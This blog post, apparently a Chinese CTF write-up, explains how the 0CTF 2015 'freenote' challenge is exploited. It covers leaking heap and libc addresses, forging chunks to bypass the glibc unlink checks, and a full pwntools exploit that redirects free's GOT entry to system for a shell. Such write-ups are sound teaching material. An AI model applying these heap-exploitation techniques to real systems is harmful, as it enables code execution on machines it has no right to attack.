• 见微知著(二):解析ctf中的pwn--怎么利用double free


      这次选2015年的0ctf的一道非常经典的pwn题,感觉这个题目作为练习题来理解堆还是很棒的。

      运行起来,可以看出是一个实现类似于记事本功能的程序,就这一点而言,基本是套路了,功能都试一遍之后,就可以去试着寻找漏洞了,

    看呀看,看呀看,发现一个问题,咦,好像在free堆的时候没有进行检查额,有趣,问题肯定就在这里了。

      详细看过0day安全的都记得书里面的Dword Shoot吧!然而,随着国内外黑客们隔段时间就喜欢搞点大新闻,所以无论在Linux和Windows上都插入了宏来验证堆上的fd和bk是否发生了修改。具体代码如下: 

    assert(p->fd->bk == p);
    assert(p->bk->fd == p);

      当然,这会在后面细说的,在利用double_free之前,要想办法泄露出堆的地址,这里得看输入字符串函数了,根据套路,一般都是这里出问题。

      果不其然,这里输入字符串结尾并没有加上'/x00',说明可以读取超过预定长度的字符串了,这里来回顾一下一个chunk长啥样的,这里为了方便理解这个题的泄露方式,我自己画了一个一维的图:

      其中FD中指向next_chunk,BK指向前置指针。换句话说,只要能够得到FD或者BK的值,再通过一定的计算,就可以得到堆的地址了。而在glibc中,free之后并不会清空对中的内容,又因为如之前所说,输入并不会在末尾加'x00'。所以这里有很多种方法可以的得到指针的值,这里选取一种容易理解的来讲解

           可以分配一个chunk,然后再将它free掉,之后再分配一个等于8字节大小的chunk,覆盖掉FD,但是此时,FD依然是之前的值,而且由于put函数直到遇到'x00'才停止输出,完全可以得到BK的值,在经      过计算就可以得到heap的基地址了

      而且,这里还有一个挺有意思的地方,在glibc中,main Arena 在libc.so.6的数据段上,也就是说,我们也可以根据这种办法来变相得到libc.so.6的基地址,当然也可以通过固有套路来得到基地址。源码如下:

    raw_input('*************************Leak_Libc*******************************8')
    
    notelen=0x80
    
    new_note("A"*notelen)
    new_note("B"*notelen)
    delete_note(0)
    
    new_note("AAAAAAAA")
    list_note()
    p.recvuntil("0. AAAAAAAA")
    leak = p.recvuntil("
    ")
    leaklibcaddr = u64(leak[0:-1].ljust(8, 'x00'))-0x3be7b8
    print hex(leaklibcaddr)
    
    system_sh_addr = leaklibcaddr + 0x46590
    print "system_sh_addr: " + hex(system_sh_addr)
    bin_sh_addr = leaklibcaddr + 0x17c8c3
    
    delete_note(1)
    delete_note(0)
    
    
    raw_input('******************Leak_heap******************')
    notelen=0x80
    
    new_note("A"*notelen)
    new_note("B"*notelen)
    new_note("C"*notelen)
    new_note("D"*notelen)
    delete_note(2)
    delete_note(0)
    
    new_note("AAAAAAAA")
    list_note()
    p.recvuntil("0. AAAAAAAA")
    leak = p.recvuntil("
    ")
    
    #print leak[0:-1].encode('hex')
    heapBase= u64(leak[0:-1].ljust(8, 'x00'))-0x1820
    print "heapBase:"+hex(heapBase)
    
    delete_note(0)
    delete_note(1)
    delete_note(3)

       好啦,基地址拿到了,现在可以好好讲讲double_free了,在很久很久以前,那时候没有那么多加固措施,那时候进行堆攻击就挺方便的。直接溢出,伪造BK和FD就好了=_=。这个利用详细可以看看exploit-exercise, fusion的heap3,这里只简单讲一下free函数里的unlink操作了,如下:

    FD = P->fd;                                                          
    BK = P->bk;
    FD->bk = BK;                                                       
    BK->fd = FD;  

       然而,正如上文所说,加入了两个断言,所以就要相办法绕过去,这里常规的方法就是找一个指向该chunk的指针p,同时将该chunk的fd指向p-3,而bk指向P-2。这样的话就可以将*p = p-3了,同时,如果可以对*p,也就是chunk进行写的话,就可以任意写p-3之后的内存空间了。示意图如下:

      在这个题目中,通过对p进行写,然后可以将p指向got.plt 中free的位置,再将free写成system,最后再调用free就OK了!

      具体思路大致就是这些,但是,还有一个很重要的问题没有说,就是怎么得到伪造的机会以及怎么伪造,先来将怎么得到伪造的机会。

    正如上文所说,本题没有检查chunk是否释放,完全可以先连续malloc三个堆,chunkA,chunkB,chunkC,再释放,根据堆的特性,这三个堆会合并,这是再分配一个小于size(chunkA)+size(chunkB)+size(chunkC)+0x20的堆,这是再对这片内存进行写,来伪造连续四个堆(貌似可以只伪造两个,但是还没有看完glibc的malloc.c的代码,所以以后再补),至于为什么伪造四个呢,这里要考虑到chunk的flag指向的是preChunk的状态,而要触发unlink操作的话,需要检查上一个chunk和下一个chunk的状态,这是就需要查看该chunk的flag和下下个chunk的flag了。在伪造的时候,需要注意的是有这么一段检查(坑的一逼)

     assert (P->fd_nextsize->bk_nextsize == P);               
     assert (P->bk_nextsize->fd_nextsize == P);

     所以,我们的上一段的size(也就是进行unlink操作的那个chunk),等于本段的preSize。

    所以伪造的堆块如下。

    payload  = ""
    payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
    payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
    payload += p64(0) + p64(notelen+0x11)+ "x00" * (notelen-0x20)

     下面是exp,在ubuntu可以直接使用,其它环境,请自己拿到libc.so.6的相关函数偏移地址:

    #!/usr/bin/env python
    from pwn import *
    
    #switch
    DEBUG = 0
    LOCAL = 1
    VERBOSE = 1
    
    if LOCAL:
        p = process('./freenote_x64')
    else:
        p = remote('127.0.0.1',6666)
    
    if VERBOSE:
        context(log_level='debug')
    
    def new_note(x):
        p.recvuntil("Your choice: ")
        p.send("2
    ")
        p.recvuntil("Length of new note: ")
        p.send(str(len(x))+"
    ")
        p.recvuntil("Enter your note: ")
        p.send(x)
    
    def delete_note(x):
        p.recvuntil("Your choice: ")
        p.send("4
    ")
        p.recvuntil("Note number: ")
        p.send(str(x)+"
    ")
    
    def list_note():
        p.recvuntil("Your choice: ")
        p.send("1
    ")
        
    def edit_note(x,y):
        p.recvuntil("Your choice: ")
        p.send("3
    ")   
        p.recvuntil("Note number: ")
        p.send(str(x)+"
    ")   
        p.recvuntil("Length of note: ")
        p.send(str(len(y))+"
    ") 
        p.recvuntil("Enter your note: ")
        p.send(y)
    
    if DEBUG: 
        gdb.attach(p)
        
    
    raw_input('*************************Leak_Libc*******************************8')
    
    notelen=0x80
    
    new_note("A"*notelen)
    new_note("B"*notelen)
    delete_note(0)
    
    new_note("AAAAAAAA")
    list_note()
    p.recvuntil("0. AAAAAAAA")
    leak = p.recvuntil("
    ")
    
    
    leaklibcaddr = u64(leak[0:-1].ljust(8, 'x00'))-0x3be7b8
    print hex(leaklibcaddr)
    
    system_sh_addr = leaklibcaddr + 0x46590
    print "system_sh_addr: " + hex(system_sh_addr)
    bin_sh_addr = leaklibcaddr + 0x17c8c3
    
    delete_note(1)
    delete_note(0)
    
    
    
    
    raw_input('******************Leak_heap******************')
    notelen=0x80
    
    new_note("A"*notelen)
    new_note("B"*notelen)
    new_note("C"*notelen)
    new_note("D"*notelen)
    delete_note(2)
    delete_note(0)
    
    new_note("AAAAAAAA")
    list_note()
    p.recvuntil("0. AAAAAAAA")
    leak = p.recvuntil("
    ")
    
    #print leak[0:-1].encode('hex')
    heapBase= u64(leak[0:-1].ljust(8, 'x00'))-0x1820
    print "heapBase:"+hex(heapBase)
    
    delete_note(0)
    delete_note(1)
    delete_note(3)
    
    
    raw_input('*******************doubel_free*****************')
    notelen = 0x80
    
    #new_note("/bin/shx00"+"A"*(notelen-8))
    new_note("A"*notelen)
    new_note("B"*notelen)
    new_note("C"*notelen)
    
    delete_note(2)
    delete_note(1)
    delete_note(0)
    
    fd = heapBase + 0x18#notetable
    bk = fd + 0x8
    
    
    payload  = ""
    payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
    payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
    payload += p64(0) + p64(notelen+0x11)+ "x00" * (notelen-0x20)
    
    new_note(payload)
    raw_input('*******************beforetest*****************')
    delete_note(1)
    
    free_got = 0x602018
    
    payload2 = p64(2)+p64(1)+p64(0x8)+p64(free_got)+'A'*0x10+p64(bin_sh_addr)
    payload2 += 'A'*(0x180-len(payload2))
    
    
    edit_note(0, payload2)
    edit_note(0, p64(system_sh_addr))
    delete_note(1)
    
    p.interactive()
  • 相关阅读:
    摄影基础知识(二)
    std::bind
    摄影网站汇总
    std::function
    常用路径说明
    摄影基础知识(一)
    JavaScript 箭头函数:适用与不适用场景
    软帝学院:Java实现的5大排序算法
    软帝学院:用Java编写计算器,代码展示!
    windows环境下运行java的脚本
  • 原文地址:https://www.cnblogs.com/0xJDchen/p/6195919.html
Copyright © 2020-2023  润新知